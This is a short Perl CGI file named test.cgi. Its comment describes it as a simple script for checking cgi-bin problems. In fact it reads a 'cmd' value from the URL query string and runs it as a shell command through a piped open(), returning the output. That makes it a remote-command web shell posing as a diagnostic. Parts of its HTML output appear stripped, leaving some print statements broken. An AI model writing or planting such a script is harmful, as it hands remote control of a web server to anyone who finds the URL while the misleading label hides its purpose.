#!/usr/bin/perl # test.cgi # A simple test script used to see if a a cgi-bin problem # exists. print "Content-type: text/html\n\n"; $cmd = $ENV{'QUERY_STRING'}; $cmd=~s/^cmd=//; $cmd=~tr/+/ /; $cmd=~s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg; print < EOF ; print ('command: '.$cmd."
\n"); print("
");

$fh = 'FOO';
if ( !open($fh, $cmd.'|') )
{
	print 'error: '.$!."
\n"; exit(0); } while ( <$fh> ) { print $_; } print("
"); exit(0);